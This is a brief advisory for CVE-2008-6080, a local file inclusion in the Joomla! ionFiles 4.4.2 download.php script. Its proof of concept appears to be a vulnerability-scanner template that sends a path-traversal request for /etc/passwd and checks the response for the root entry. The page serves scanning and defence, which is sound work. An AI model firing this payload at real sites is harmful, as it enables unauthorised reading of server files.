CVE-2008-6080: Joomla! ionFiles 4.4.2 - Local File Inclusion

2025-08-01 Joomla! ionFiles PoC Public

Description

Joomla! ionFiles 4.4.2 is susceptible to local file inclusion in download.php in the ionFiles (com_ionfiles) that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.

PoC

id: CVE-2008-6080

info:
  name: Joomla! ionFiles 4.4.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! ionFiles 4.4.2 is susceptible to local file inclusion in download.php in the ionFiles (com_ionfiles) that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Update Joomla! ionFiles to the latest version or apply the provided patch to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6809
    - https://nvd.nist.gov/vuln/detail/CVE-2008-6080
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/46039
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2008-6080
    cwe-id: CWE-22
    epss-score: 0.10637
    epss-percentile: 0.95691
    cpe: cpe:2.3:a:codecall:com_ionfiles:4.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: codecall
    product: com_ionfiles
  tags: cve,cve2008,edb,joomla,lfi,codecall,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/components/com_ionfiles/download.php?file=../../../../../../../../etc/passwd&download=1"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210092b88ac00589573858352a419d62228f3384bf5e5b39d51173f27d286ceebf8e0220329e8df07b2437b18889e8196303d9748b93db86bf47935b5273ab3105d2f57b:922c64590222798bb761d5b6d8e72950

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